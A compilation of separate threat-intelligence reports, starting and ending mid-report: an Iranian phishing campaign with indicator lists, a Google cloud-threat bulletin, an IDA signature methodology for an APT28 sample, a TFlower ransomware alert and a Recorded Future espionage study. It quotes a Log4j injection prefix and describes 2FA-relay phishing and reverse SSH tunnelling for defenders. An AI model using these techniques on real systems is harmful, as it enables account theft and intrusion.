**Trusted Stage:** Internet users around the world consider Google’s main domain (google.com) to be a safe and secure address. The attackers misuse this fact and create fake pages on sites.google.com (which is a subdomain of Google) to deceive their targets. Google’s Site service gives its users the ability to show various contents on it. The attackers use this ability to send fake alerts and redirect their targets to insecure websites or embedded phishing pages as an iframe on those pages. 2. **Untrusted Stage:** Since Google can quickly recognize and eliminate suspicious and malicious links on sites.google.com, the hackers use their own website. The links of phishing websites have similar patterns to a previous phishing campaign which was launched in the past years. For example, attackers use words such as “management”, “customize”, “service”, “identification”, “session”, “confirm” etc. in the domain names and phishing URLs to deceive users who want to verify their website addresses. ### Clickable image in emails The hackers use an image, instead of texts, in the body of their emails, to bypass Google’s security and anti-phishing system. For this purpose, attackers have also used third-party services such as Firefox Screenshot to host their email images. ### Hidden tracking image on emails The attackers use a separate hidden image in the body of the email to notify them when their targets open the email. This trick helps the hackers to act immediately after the target opens the email and clicks on the phishing link. ## Phishing Pages Apart from the content structure of the emails and phishing links, we are sure that attackers use a customized platform to create and store users’ credential details. We have also noticed that they have designed the phishing pages for both desktop and mobile versions of Google and Yahoo! mail services and they might use other services in the future. An interesting technique they have used in recent attacks was once their target enters their username and password, attackers check those credentials on-the-fly and if that information was given correctly, they then ask for a 2-step verification code. In other words, they check victims’ usernames and passwords in real-time on their own servers, and even if 2-factor authentication such as text message, authenticator app, or one-tap login are enabled they can trick targets and steal that information too. ## Hacker’s Footprints Our primary reviews of the phishing websites linked to this campaign show that hackers have set up a remarkable number of domains. Our latest findings show that for this phishing campaign in a relatively short period of time (September to November 2018), they have used more than 20 domain names. The number of phishing domains has increased at the time of writing this report. Closer investigation of these servers revealed how their network of domain names have been used in recent attacks. Moreover, our technical reviews reveal that the individuals involved in this campaign used Virtual Private Networks (VPNs) and proxies with Dutch and French IP addresses to hide their original location. In spite of their efforts, we have uncovered enough evidence to prove that the attackers were using their real IP addresses (i.e. 89.198.179[.]103 and 31.2.213[.]18 from Iran during the preparation phase of their campaign). Also, some domain names and servers of this campaign are very similar to the methods, techniques, and targets that have been used by Charming Kitten, a group of hackers who are linked to the Iranian government. Consequently, we believe Charming Kitten and the Iranian hacker(s) belonging to this group have returned and launched new cyber attacks against various people around the world and with more focus on Israeli and American citizens. ## Conclusion Phishing attacks are the most popular method of stealing data and hacking accounts amongst Iranian hackers, but the most significant fact about this campaign is its timing. This campaign launched weeks before 4 November 2018, which is when the U.S. imposed new sanctions on Iran. This campaign tries to collect information by infiltrating the accounts of non-Iranian political figures and authorities who work on economic and military sanctions against Iran. In other words, hackers who are supported by the Iranian government pick their targets according to policies and international interests for the Iranian government and also where Iran wants to have an impact indirectly. As a result, we propose a series of recommendations to tech companies, policymakers, civil society actors, and internet users to effectively lessen the threat of this type of attack and even thwart them. ### Our recommendations to tech companies and policymakers: - Stop using 2-factor authentication by text plain message/SMS. - Start using Security Keys (i.e. YubiKey) for 2-factor authentication for high-ranking individuals who have sensitive jobs or activities. - Do not use one-tap login verification process. ### Our recommendations to civil society and the Iranian diaspora media: - Inform employees and colleagues about any phishing threats and encourage them to use Security Keys such as YubiKey for 2-factor authentication and activate Google’s Advanced Protection Program. - Always use company and institution email accounts instead of personal email for sensitive communications. Change Sender Policy Framework or SPF settings according to the communication policy of the company/organization such as restricting receiving emails from outside of the working network. For example, G Suite allows admins to block receiving emails from unauthorized addresses or domains. - Encourage the public to enable 2-factor authentication on their accounts by mobile apps such as Google Authenticator. ### Our recommendations to users: - Do not click on unknown links. For reviewing suspicious activities on your account or changing the password, instead of clicking on any link, you can go to your “My Account” settings from your email directly which is safer. - Use email encryption such as PGP for sensitive emails which prevent hackers from reading your emails in the first place. - Do not store classified and sensitive information as plain text in your mailbox. - HTTPS being before a domain name in a URL does not mean that the content of a website is secure or trusted - it’s just a secure extension of the HTTP protocol. Do not forget many phishing websites are currently operating under HTTPS protocol too. ## IOCs - 178.162.132[.]65 - 190.2.154[.]34 - 190.2.154[.]35 - 190.2.154[.]36 - 190.2.154[.]38 - 46.166.151[.]211 - 51.38.87[.]64 - 51.38.87[.]65 - 51.68.185[.]96 - 51.38.107[.]113 - 95.211.189[.]45 - 95.211.189[.]46 - 95.211.189[.]47 - 213.227.139[.]148 - 54.37.241[.]221 - 54.38.144[.]250 - 54.38.144[.]251 - 54.38.144[.]252 - 85.17.127[.]172 - 85.17.127[.]173 - 85.17.127[.]174 - 85.17.127[.]175 - 89.198.179[.]103 - 31.2.213[.]18 - accounts-support[.]services - broadcast-news[.]info - broadcastnews[.]pro - com-identifier-servicelog[.]info - com-identifier-servicelog[.]name - com-identifier-userservicelog[.]com - confirm-session-identification[.]info - confirm-session-identifier[.]info - confirmation-service[.]info - customer-recovery[.]info - customize-identity[.]info - document-share[.]info - document.support-recoverycustomers[.]services - documentofficupdate[.]info - documents.accounts-support[.]services - documentsfilesharing[.]cloud - email-delivery[.]info - mobile-sessionid.customize-identity[.]info - mobiles-sessionid.customize-identity[.]info - my-scribdinc[.]online - myyahoo.ddns[.]net - notificationapp[.]info - onlinemessenger.com-identifier-servicelog[.]name - podcastmedia[.]online - recoveryusercustomer[.]info - session-management[.]info - support-recoverycustomers[.]services - continue-session-identifier[.]info - mobilecontinue[.]network - session-identifier-webservice.mobilecontinue[.]network - com-messengersaccount[.]name - invitation-to-messenger[.]space - confirm-identification[.]name - mobilecontinue[.]network - mobile.confirm-identification[.]name - services.confirm-identification[.]name - mobile-messengerplus[.]network - confirm.mobile-messengerplus[.]network - com-messengercenters[.]name - securemail.mobile-messengerplus[.]network - documents.mobile-messengerplus[.]network - confirm-identity[.]net - identifier-sessions-mailactivityid[.]site - activatecodeoption.ddns[.]net - broadcastpopuer.ddns[.]net - books.com-identifier-servicelog[.]name - mb.sessions-identifier-memberemailid[.]network - sessions-identifier-memberemailid[.]network - sessions.mobile-messengerplus[.]network - confirm-verification-process[.]systems - accounts.confirm-verification-process[.]systems - broadcastnews.ddns[.]net - account-profile-users[.]info - us2-mail-login-profile[.]site - us2.login-users-account[.]site - login-users-account[.]site - live.account-profile-users[.]info - signin.account-profile-users[.]info - aol.account-profile-users[.]info - users-account[.]site
# Threat Horizons ## Cloud Threat Intelligence February 2022. Issue 2 (revised) Providing threat intelligence to those in the Cloud Offering a secure cloud computing platform is providing cloud customers with cybersecurity threat intelligence so they can better configure their environments and defenses in ways most specific to their needs. Google's Cybersecurity Action Team is pleased to release Issue 2 of the Threat Horizons report. The report is based on threat intelligence observations from the Threat Analysis Group (TAG), Google Cloud Threat Intelligence for Chronicle, Trust and Safety, and other internal teams. It provides actionable intelligence that enables organizations to ensure their cloud environments are best protected against ever-evolving threats. --- ## Summary of Observations Adversaries and researchers alike are continuing to scour the web looking for vulnerable instances of Log4j. As a result, service providers have been and continue to work with their cloud customers to ensure the infrastructure is secure as well as check the status of customer-installed tools and third-party dependencies in their environments to see if they are affected. While adversaries continue to knock on this door, observations have shown that they are opting to use known open-source tools, native Cloud services, and previously established domains for persistence in their attacks. Google Cloud was proactive in assuring the security of the platform and we partnered extensively with customers to provide tooling and support to help them mitigate and remediate Log4j risks. This included threat intelligence-driven updates to Cloud Armor, Cloud IDS, Security Command Center, and Event/Container Threat Detection, and we were pleased to see many customers proactively respond to this event and use these capabilities to defend themselves and their customers. Google Cloud customers also used a variety of scanners and fuzzers to help identify the presence of Log4j in Cloud instances and their dependencies. ### Vulnerable instances of Apache Log4j still sought by attackers **Threat Description / TTPs** Shortly after the December 9, 2021 public disclosure of the Apache Log4j vulnerability (with a criticality rating of 10/10), Google Cloud Threat Intelligence and Google Trust and Safety started observing scanning for vulnerable instances of Log4j on the same day. The activity increased over the following weeks. Google Cloud is seeing ongoing scans for vulnerable Log4j instances by attackers and security researchers, and we recommend continued vigilance to ensure available patches and mitigations are applied and sustained. During the month following the vulnerability’s disclosure, there was extensive scanning across the Internet. Google Cloud and other providers had a unique vantage point over this and used this to good effect to help customers identify vulnerabilities as well as watch for the evolution of attempted exploitation to rapidly assure mitigations were effective for cloud infrastructure and customers. Google Cloud is continuing to see scanning (400K times a day) and expects similar, if not more scanning levels against all providers, and so we recommend continued vigilance in ensuring patching is effective. Threat actors are predominantly seeking to target ports 80 and 443 with scanners sending payloads to many other ports with attack payloads largely using Lightweight Directory Access Protocol (LDAP) servers listening mostly on TCP ports 389 and 1389. Additionally, threat actors have been continually refining ways of obfuscating the log4j format string, starting with “jndi:ldap://” and moving to more difficult to parse strings. ### Adversaries using an open-source platform to maintain network persistence **Threat Description / TTPs** Google Cloud Threat Intelligence has observed from across the Internet that Sliver is being used by adversaries post-initial compromise in attempts to ensure they maintain access to networks. Recent observations show attackers using Sliver as the second stage malware to compromise organizations, moving the possibility of attackers using Sliver for malicious actions from a hypothetical to a reality. Sliver is an open-source, cross-platform adversary emulation framework that allows adversaries to deploy and control implants on victims’ Windows, Mac, or Linux computers from a central coordinating server. The framework is an open-source alternative to Cobalt Strike, is freely available on Github, and is included in the package repository for Kali Linux, a popular open-source Debian-based Linux distribution. ### Cloud Shell used for reverse SSH tunneling after initial compromise vector **Threat Description / TTPs** Already compromised systems use outbound Cloud Shell to establish reverse SSH tunneling. Additionally, Google Trust and Safety has observed activity pertaining to SSH tunnels available for rent and trade, which supports the argument that this abuse is being monetized. Google Cloud allows users to create a free sandboxed environment of the Linux system (“Cloud Shell”) outside customer projects or networks, with the ability to execute commands using a provided shell. While Cloud Shell inbound connections are restricted, the outbound connections are not. The availability of outbound connections to conduct a reverse SSH tunneling from Cloud Shell to any public endpoint is serving as a means for threat actors to distribute malicious campaigns or perform harmful activity. In the process described, after a threat actor has access to a Google Cloud Shell instance, for example, through the exploitation of leaked credentials, the actor then creates a reverse shell SSH tunnel to an SSH server. The threat actor then connects to the SSH server through an SSH tunnel. A SOCKS5 proxy is then used to connect to the Google Cloud Shell before connecting to the endpoint. This results in an obfuscation of the threat actor’s origin. ### Domain previously identified by TAG used in ongoing attacks against researchers **Threat Description / TTPs** A domain previously identified by Google’s Threat Analysis Group (TAG) was associated with intrusions launched by a North Korean government-backed entity against security and vulnerability researchers. These intrusions originated from a trojanized version of IDA Pro as discovered by ESET Research. The actor presumably shared the modified installer for IDA Pro, a disassembler popular among security researchers, in order to replace a specific DLL within the installer package. When executed, it would attempt to download and install a backdoor from a North Korean controlled domain. Over the past 12+ months, the actor has launched multiple campaigns against the security and vulnerability research community including the following techniques: - Developing fake social media profiles and submitting real bugs to bug bounty programs in order to build credibility. - Creating fake exploit broker companies with websites, accounts, etc. - Trojanizing exploit proof of concepts and other software packages commonly shared among researchers. - Suspected of using 0-days, which were stolen from some of their victims. ## Recommendations Google Cloud continues to operate within a "shared fate" model that exemplifies a true partnership with its customers. This partnership includes providing trends and lessons learned from recent incidents or close-calls in the wild with which Google assisted. The following is a summary of Google Cloud’s recommendations based upon customer incidents across various platforms that we helped address: When securing an environment and ensuring exfiltration has not occurred after an incident, customers should review logs associated with file sharing and domain-wide Takeout in addition to looking for implanted malware. Threat actors have been known to use tools native to the Cloud environment rather than downloading custom malware or scripts to avoid detection. This “living off the land” technique has been used extensively in on-premise compromises and is being adopted in Cloud environments. In the situations where it is necessary to respond to a security incident, where there was an exploitation of third-party software in the Cloud instance, customers should review logs to determine the point of initial compromise as well as determining if additional unauthorized software was installed after the initial compromise or if unauthorized configurations were made. Adversaries have been known to close doors behind themselves, i.e., patch the vulnerability which grants initial access, and then pivot to new software, malware, or reverse shells to maintain presence. Code downloaded by clients should undergo hashing authentication. It is a common practice for clients to download updates and code from various Internet sources, raising concern that unauthorized code may be downloaded in the process. Meddler in the Middle (MITM) attacks may cause unauthorized source code to be pulled into production. By hashing and verifying all downloads, the integrity of the software supply chain can be preserved and an effective chain of custody can be established. ### Table 1: Observed risks and countermeasures | Risk | Countermeasures | |------|-----------------| | Instance vulnerabilities | Follow password best practices and best practices for configuring Cloud environments. Update third-party software prior to a Cloud instance being exposed to the web. Avoid publishing credentials in GitHub projects. Use Container Analysis to perform vulnerability scanning and metadata storage. Leverage Web Security Scanner in the Security Command Center to identify security vulnerabilities in App Engine, Google Kubernetes Engine, and Compute Engine. Use service accounts with Compute Engine to authenticate apps instead of using user credentials. Implement Policy Intelligence tools to help understand and manage policies. Use predefined configurations through Assured Workloads to reduce misconfigurations. Set up conditional alerts in the Cloud Console to send alerts upon high resource consumption. Enforce and monitor password requirements for users through the Google Admin console. | | Downloading software updates | Establish a strong chain of custody by hashing and verifying downloads. | | Using public code repositories | Audit projects published on GitHub and other sites to ensure credentials and certificates were not included. | For additional information about Google’s Cybersecurity Action Team and best practices, please visit gcat.google.com.
# Flirting With IDA and APT28 **The BlackBerry Cylance Threat Research Team** **RESEARCH & INTELLIGENCE / 07.10.19** This document shares a methodology used to develop Hex-Rays' Interactive Disassembler (IDA) signatures created as part of pre-analysis for a recently published APT28 sample. The internal functions, features, and behavior of the published sample are not discussed. Access to IDA Flair, used to generate signatures for the IDA disassembler, requires a current Hex-Rays subscription. On May 17, the U.S. CyberCom Cyber National Mission Force (CNMF) tweeted a VirusTotal link to a new APT28 malware sample. No information about the circumstances surrounding the sample or its discovery was included. The SHA256 hash of the published sample is: `b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44` Consensus amongst researchers suggests the sample is x-tunnel (aka XAPS), a tool used by APT28 to make a compromised host inside the firewall act as a traffic proxy. This allows attacker-controlled traffic originating from external hosts to be relayed to other internal targets that might otherwise be inaccessible owing to perimeter traffic policy. X-tunnel was first seen in the wild in May 2013 and is understood to have been used in previous compromises including the 2016 DNC hack. Analysis of other in-the-wild (ITW) builds of x-tunnel shows its capabilities include remote command execution, UDP tunneling, TLS encryption, proxy support, and persistent HTTP via the HTTP keep-alive header. Prior versions have weighed in around 1-2MB in size. Versions with obfuscated code, found in 2015, tended towards the larger end of the scale. The sample uploaded by CNMF stands at 3.2MB. A file this size hints at code obfuscation/virtualization, static linking, and/or embedded resources. Static linking affords self-sufficiency—a high priority for a threat actor operating inside a victim network. Code obfuscation hampers analysis efforts but can make a sample more suspicious in the eyes of antivirus (AV) software. Evidence within the sample indicates it was produced using Microsoft Visual C++. When formulating an execution plan for a target computer, the author has two options: assume the corresponding (and necessary) Visual C++ Redistributable package is installed, or bundle (link) every piece of executable code needed within the file itself. This latter approach of static linking increases the size of the file but also increases the odds of successful execution. A few hints that our x-tunnel binary was built with Microsoft Visual C++: 1. The presence of a .pdata section containing the exception data directory. It’s here that the compiler stores exception handling metadata for PE32+/64-bit binaries. This section is present even for the simplest C/C++ “Hello World” applications, provided it links against Microsoft Visual C++ Runtime. 2. For C++ specifically, the presence of mangled function names and references to Standard Template Library namespaces/containers/classes (“std”, “vector”, “ios”) within the strings output. 3. Output from parsing the PE Rich header. For the alternative of dynamic linking a Visual C++ PE, you would typically see an import for mscvpXXX.dll, where XXX maps to the Visual Studio release number—120 for Visual Studio 2013, 140 for Visual Studio 2015, etc. Disassembly of the sample using IDA shows a vast sea of executable code. What approach can we use to tackle the analysis of such an unwieldy file, allowing us to quickly zero in on its design and capabilities? IDA’s Navigator toolbar offers a visual decomposition of a sample’s executable code and data. If, during sample loading, the automatic use of Flirt Signatures is disabled, measuring the number of functions can be achieved using a simple Python one-liner: ```python len(list(idautils.Functions())) ``` **7533** Since we’re dealing with a 64-bit Microsoft Visual C++ binary, we can apply the relevant default signatures provided with IDA (first re-select Use flirt signatures under General -> Kernel Options 2): vc64rtf, vc64ucrt. The Signatures sub-view tells us ~1600 functions have been identified as library (benign) code. The majority of published x-tunnel samples link against the same version of the OpenSSL TLS/SSL library. Strings output for this sample shows it is also following suit: 1.0.1e 11 Feb 2013. Analysts following along at home will also have noticed another recurring identifier present in the strings output: “poco.” Google results show this to be a C++ framework. In the ongoing effort to stay ahead of endpoint security, the author(s) have evidently re-tooled x-tunnel using a framework. Leveraging custom IDA Flirt signatures to fill in as many of the blanks as possible (by identifying benign library code) reduces the time required to derive meaningful analysis of the sample. Focusing our efforts on understanding the important (interesting) parts means we can expedite delivery of actionable threat intelligence. Strings output tell us version 1.7.3 of the Poco framework was used. We can use this information to build a static library (.lib) and from that, derive custom IDA signatures. Note: The Flair tools pcf (COFF parser) and sigmake (Signature File Maker) are available from the Hex Rays website as a zip download (active subscription required). Both Mac and Windows binaries are included; substitute paths in examples below reflect the location of your zip extract (and operating system, if using Windows). The first question we need to answer is which version of Visual Studio should we use to build our libs, and for the sake of curiosity, does it matter? (Spoiler: yes, it does, at least for the small number of default installs of Visual Studio that were tested). The Rich header in the PE holds metadata about the compiler/linker used to produce a binary. Parsing it using one of the widely available tools we are shown: Assuming this isn’t a forgery, our first build attempt should be with Visual Studio 2010 RTM. Note: Building the OpenSSL and Poco static libraries was performed using the author’s standard Windows 7 SP1 x86 analysis environment. Building under a native x64 environment should only involve minor changes to the steps described below. The Poco framework’s 1.7.3 source code is readily available for download from Github. The build instructions are easy to follow (see README, “Building on Windows”). The only minor caveat is a dependency on OpenSSL, which needs to exist first. We will adjust the build process slightly to remove the MySQL dependency. This can be done by editing the Poco components file. Building the OpenSSL .lib files is also straightforward. As stated by the documentation, some prerequisites need to be installed such as ActiveState ActivePerl; make sure perl.exe is in your %PATH% (handled by the installer when using defaults). Since our sample is 64-bit, we use the Visual Studio x64 Cross Tools Command Prompt (see Windows Start menu under Visual Studio Tools). As per the OpenSSL build documentation, running the following commands in the extracted source code directory should produce the necessary libeay32.lib and ssleay32.lib static libraries. This, in turn, will allow us to build Poco and finally produce our IDA signatures: ```bash perl Configure VC-WIN64A ms\do_win64 anmake -f ms\nt.mak ``` Assuming the build process completes without error, static libraries should be in the out32 folder. With these available, we can now build the Poco C++ framework libs. We need to modify the Poco buildwin.cmd file to indicate the location of our freshly built OpenSSL libraries and provide the whereabouts of OpenSSL header files. Here’s the edited buildwin.cmd: ```bash rem Change OPENSSL_DIR to match your setup set OPENSSL_DIR=E:\Code\openssl-1.0.1e.tar\openssl-1.0.1e set OPENSSL_INCLUDE=%OPENSSL_DIR%\inc32 set OPENSSL_LIB=%OPENSSL_DIR%\out32dll;%OPENSSL_DIR%\lib\VC set INCLUDE=%INCLUDE%;%OPENSSL_INCLUDE% set LIB=%LIB%;%OPENSSL_LIB% ``` Note the use of inc32 for the OPENSSL_INCLUDE variable. The 1.0.1e tarball contains symlinks from include to inc32 that fail to extract properly on a Windows host, resulting in 0 byte .h files in the include folder. We can now build the Poco framework static libs using the Visual Studio 2010 x64 command prompt: ```bash buildwin.cmd 100 build static_mt release x64 nosamples notests ``` The emitted libs can be found in the lib64 folder. Armed with our Poco and OpenSSL library files, we can now generate the IDA signatures. The syntax for pcf and sigmake is straightforward. First, derive a pattern file for each of our .libs using pcf, found inside the Flair .zip download, available from Hex-Rays. An example execution of pcf for the OpenSSL libs on Mac OS (the .libs were copied locally from the build VM): ```bash ./flair72/bin/mac/pcf libeay32.lib ``` For Windows, an equivalent command would be: ```bash .\flair72\bin\win\pcf.exe libeay32.lib ``` Now generate signature files and resolve any resulting collisions. Collisions occur when the generalized opcodes taken from object files within the .lib are the same for more than one subroutine. The Flair signature generator won’t arbitrate; it’s up to the user to hand-curate (or ignore) any collisions. Depending on how many collisions are identified and how much time is available, you can opt to leave all colliding subroutines un-named or manually resolve/assign names by inspecting the .exc file. It’s helpful to add a name field to the signature file. This will be displayed in the FLAIR selection dialog, making your custom sigs easier to identify—particularly if you’re building lots of different versions with distinct compiler flags: ```bash ./flair72/bin/mac/sigmake -n"OpenSSL 1.0.1e x64 VS2010 LIBEAY32 Od" libeay32.pat openssl-101e-x64-vs2010-libeay32.sig ``` For this example, we opt to take the path of least resistance and ignore all collisions—delete the four comment lines at the top of the generated .exc file. Re-execute sigmake to indicate the contents of the .exc file should be incorporated. No output means success. Repeat for ssleay32.lib. As a final step, our signatures need to be copied into the IDA install. On Mac OS for PE/COFF files: ```bash /Applications/IDA XXX YYY/ida.app/Contents/MacOS/sig/pc ``` For Windows installs, the default location would be: ```bash Program Files\IDA XXX\sig\pc ``` With the signatures in place, let’s apply them to the sample (File -> Load File -> FLIRT Signature File). No IDA restart is required. The Signatures sub-view tells us how well our signatures are faring. Complementing this with our OpenSSL signatures shows progress, but many OpenSSL functions have been missed. Skimming through the disassembly for code still flagged as Regular function, the string annotations (comments) for OpenSSL code are readily apparent. Something in our signature generation has run wide of the mark. By cross-referencing disassembly strings in IDA (e.g., “retcode=” present in sub_180097950), with the OpenSSL source code (hint: grep), we can identify a routine to serve as a starting point for improving our custom signatures. For the sake of brevity, sub_180097950 in IDA is the OpenSSL function module_run, found in ./crypto/conf/conf_mod.c. The string constants to the ERR_add_error_data function map (uniquely) to the IDA-generated cross-reference comments. Inspecting libeay32.pat gives us the current pattern for the module_run function, which disassembles to: Compare this with our sample’s module_run. Clearly, our .lib compiled with Visual Studio 2010 has generated a different set of opcodes. If object files inside the .lib have differing opcodes, then our derived signatures won’t match those in the sample and, as is the case for our “stock” build here, legitimate OpenSSL code is missed. The disassembly for the module_run opcodes in our .pat file starts with a 2-byte hotpatch aligned push rbx instruction (40 53; hotpatch is implicit on x64). This is followed by preservation by the callee of non-volatile registers rbx, rsi, rdi, as determined by the x64 calling convention. Our APT-28 function prolog for the same function shows the use of spill or home space on the stack for the r8, r9, rcx, and rdx registers. An explanation for the difference in compiler output comes courtesy of Raymond Chen in a blog post from 2011: "When compiler optimizations are disabled, the Visual C++ x64 compiler will spill all register parameters into their corresponding slots. This has as a nice side effect that debugging is a little easier, but really it’s just because you disabled optimizations, so the compiler generates simple, straightforward code, making no attempts to be clever.” With this in mind, let’s try building a non-optimized version of OpenSSL and see if it yields any improvements to our IDA signature hit count. OpenSSL compilation is adjusted by modifying nt.mak and editing the CFLAGS statement. Compiler optimizations are disabled by changing the default Ox (most speed optimizations) to Od (disable optimizations): ```bash # Set your compiler options PLATFORM=VC-WIN64A CC=cl CFLAGS= /MT /Od -DOPENSSL_THREADS -DDSO_WIN32 -W3 –Gs0 -Gy -nologo APP_CFLAG= /Zi /Fd$(TMP_D)/app LIB_FLAG= /Zl /Zi /Fd$(TMP_D)/lib ``` Following recompilation, regeneration of signatures, and a re-apply in IDA, our custom signature hit count looks healthier. The previously missed OpenSSL module_run function has also been correctly identified. Compare the IDA Navigator toolbar showing initial decomposition with custom Poco and non-optimized OpenSSL signatures applied. Much of the remaining, unidentified code relates to C++ exception handling, thunk functions (single jmp instructions), or small subroutines that were marked as having collisions at the time of signature generation. These are easy to identify with only a cursory review. A valid consideration when developing custom signatures is the ability to mirror the author’s development environment. Visual Studio 2010 is quite old and only available for download from Microsoft if you are fortunate enough to have an MSDN subscription. Does the accuracy of our signatures change if Visual Studio 2019 Community Edition is used? Version 1.7.3 of the Poco C++ framework, released in May 2016, only supports up to Visual Studio 2015; therefore, no attempt was made to rebuild signatures using Visual Studio 2019. Building v1.0.1e of the OpenSSL framework, released Feb 2013, using Visual Studio 2019 ends in premature failure: unresolved symbols to iob_func, a consequence of stdio changes made to the Microsoft CRT in Visual Studio 2015. Fortunately, the errors occur when building OpenSSL test executables—the static libraries are already (successfully) built by that point. Repeating the process using Visual Studio 2015 Community Edition, the OpenSSL and Poco static libraries were built following a default install. The reason behind the reduction in signature hits was not investigated. One possibility is the addition of security/SDL checks incorporated by default in newer Visual Studio versions, altering the prolog opcodes and resultant Flair pattern. Signature hit counts reported by IDA for different Visual Studio builds (2010, 2015, and 2019) tell us the most accurate signatures are obtained when mirroring the author’s build environment—at least for analysis of x64 PE files and when using default installs of Visual Studio. In this instance, the PE Rich header appears to be telling the truth. With our custom signatures applied, we’re ready to commence analysis of the sample. Reducing the amount of unidentified code has greatly simplified the analysis effort. We can now start in earnest to understand its inner workings and how this version has evolved from previous ITW variants. Now the interesting work begins. счастливой охоты! Lumina metadata for the Poco and OpenSSL libraries has been pushed to Hex Rays. Anyone with IDA 7.2 or above can perform a Lumina pull from within IDA and get immediate identification of all benign library code found within this sample.
# Alerts: TFlower Ransomware Campaign **Number:** AL19-201 **Date:** 20 September 2019 ## Purpose On 30 July 2019, a new variant of ransomware named TFlower was discovered. The Cyber Centre has become aware of this ransomware recently affecting the Canadian public. ## Assessment The initial infection vector for this malware appears to be through Remote Desktop services, and other infection vectors may include email spam and malicious attachments, deceptive downloads, botnets, malicious ads, web injects, fake updates, and repackaged and infected installers. Once a malicious actor infects a system, they may attempt to move laterally across the network through tools such as PowerShell Empire, PSExec, etc. The malware will initially contact a Command and Control (C2) server to indicate its readiness to encrypt the contents on the target system. It will then delete shadow copies and disable recovery features in Windows 10 and create persistence by adding a key in the logged-in user's software registry hive. It will encrypt files and mark them by inserting the string "*tflower" at the beginning of the file but will not change the filename. Finally, the malware will update the C2 server and leave a ransom note named “!_Notice_!.txt” placed throughout the computer and on the Windows Desktop. The Cyber Centre recommends that all system owners apply the latest security patches immediately, and that system users are reminded to be vigilant when following unsolicited links and opening unexpected document attachments in emails, even if they come from known contacts. ## Suggested Action - Install the latest updates for the vulnerable operating systems. - Disable Remote Desktop Services if not required. If required, closely monitor network traffic and the logs of any vulnerable systems for suspicious activity. - Enable Network Level Authentication (NLA) on all currently supported versions of Windows. This is a partial mitigation which will prevent the spread of the malware. With NLA enabled, an actor would first need to have credentials to an account on the target system. - Block TCP port 3389 on the firewall, if possible. This will prevent unauthorized access from the Internet. - Never open attachments from unknown or unverified sources. - Whitelist applications to prevent unauthorized applications from running. - Use antivirus and ensure that it is diligently kept up to date. - Minimize the number of users with administrative privileges and ensure users do not have privileges to install software on their devices without the authorization of an administrator. - Disable macros for documents received via email. - Follow the Government of Canada’s guidance to stay CyberSafe. ## References CCCS Alert on Critical Remote Desktop Vulnerability. ## Note to Readers The Canadian Centre for Cyber Security (Cyber Centre) operates as part of the Communications Security Establishment. We are Canada's national authority on cyber security and we lead the government's response to cyber security events. As Canada's national computer security incident response team, the Cyber Centre works in close collaboration with government departments, critical infrastructure, Canadian businesses, and international partners to prepare for, respond to, mitigate, and recover from cyber events. We do this by providing authoritative advice and support, and coordinating information sharing and incident response. The Cyber Centre is outward-facing, welcoming partnerships that help build a stronger, more resilient cyber space in Canada.
# Chinese Cyberespionage Originating From Tsinghua University Infrastructure **Posted:** 16th August 2018 **By:** INSIKT GROUP ## Scope Note Recorded Future analyzed new malware targeting the Tibetan community, resulting in a detailed analysis of the malware and its associated infrastructure. Sources include Recorded Future’s platform, VirusTotal, ReversingLabs, and third-party metadata, as well as common OSINT and network metadata enrichments, such as DomainTools Iris and PassiveTotal. This research is part of a series highlighting the breadth of sophisticated techniques used by the Chinese state against perceived domestic threats. ## Executive Summary Following our research uncovering the Chinese RedAlpha campaigns targeting the Tibetan community, Recorded Future’s Insikt Group identified a novel Linux backdoor called “ext4,” deployed against the same Tibetan victim group. By analyzing the backdoor, we uncovered repeated attempted connections to the same compromised CentOS web server emanating from infrastructure registered to Tsinghua University, an elite Chinese academic institution. We also identified network reconnaissance activities being conducted from the same Tsinghua University infrastructure targeting many geopolitical organizations, including the State of Alaska Government, Alaska’s Department of Natural Resources, the United Nations office in Nairobi, and the Kenya Ports Authority. Additionally, we identified the targeted scanning of German automotive multinational Daimler AG that began a day after it cut its profit outlook for the year, citing the growing trade tensions between the U.S. and China. In several cases, these activities occurred during periods of Chinese dialogue for economic cooperation with these countries or organizations. We assess with medium confidence that the network reconnaissance activities we uncovered were conducted by Chinese state-sponsored actors in support of China’s economic development goals. ## Key Judgments - Tsinghua IP 166.111.8[.]246 engaged in network reconnaissance targeting organizations in Alaska, Kenya, Brazil, and Mongolia during times of economic dialogue or publicity around China’s investment in foreign infrastructure projects concerning China’s flagship Belt and Road Initiative (BRI). - The network reconnaissance activity against Alaskan organizations increased following the governor of Alaska’s trade delegation trip to China in late May. Organizations targeted by the reconnaissance activity were in industries at the heart of the trade discussions, such as oil and gas. - The targeting of German automotive multinational Daimler AG was observed a day after it announced a profit warning in light of the growing U.S. and China trade tensions. - The Tsinghua IP made at least one attempt to subscribe to a U.S.-based hotel’s high-speed internet portal. We assess with low confidence that this may demonstrate an intent to breach Nomadix internet gateways within the hospitality sector running vulnerable WindWeb servers. - The Tsinghua IP repeatedly attempted to connect with a Tibetan network that was compromised with a highly sophisticated backdoor, “ext4.” “ext4” only allowed incoming TCP 443 connections to the compromised network during a 180-second window every hour, with packets requiring a unique combination of TCP header options to successfully connect. In over 20 observed attempts, the Tsinghua IP did not transmit the correct TCP options to activate the backdoor. This suggested: - The threat actors connecting from the Tsinghua IP were ill-informed of the correct “ext4” backdoor connection sequence and were making mistakes. - The targeting of the Tibetan network is not associated with the presence of the “ext4” backdoor and the network was being probed in line with wider geopolitical and economic network reconnaissance activity being conducted by the Tsinghua IP. ## Background The People’s Republic of China (PRC) claims sovereignty over Tibet and regards all Tibetan independence movements as separatist threats. While the PRC uses many forms of coercion against the Tibetan community, cyberespionage against Tibetan targets has become a frequently used tool, especially during times of heightened tensions. The first known incident of Chinese cyberespionage against Tibet, dubbed GhostNet, was in 2008. This was part of a wider attempt to monitor foreign targets of national interest. There have since been numerous cyberespionage campaigns documented against Tibetans, including in Recorded Future’s recent RedAlpha report. Tsinghua University is located in the Haidian District in Beijing. Dubbed “China’s MIT,” it is one of China’s premier technical research universities. Chinese universities have often been associated with Chinese state-sponsored cyber capabilities both directly and indirectly. In 2015, APT17 infrastructure was connected to a professor at China’s Southeast University, and in 2017, the People’s Liberation Army (PLA) partnered with Xi’An Jiaotong University to create a cyber militia program. Tsinghua University is itself a state-owned institution and is among the world’s top research and engineering schools. Its students’ offensive cyber capabilities are most famous through Blue-Lotus, a security research team composed of Tsinghua University-affiliated individuals. The team finished second in DEF CON’s 2016 capture the flag competition. Research branches of Tsinghua University also have connections to state organizations with a history of stealing U.S. technology. Tsinghua University’s Office of Scientific Research and Development met with China CITIC Group for Communist Party meeting activities in May 2018, during which they 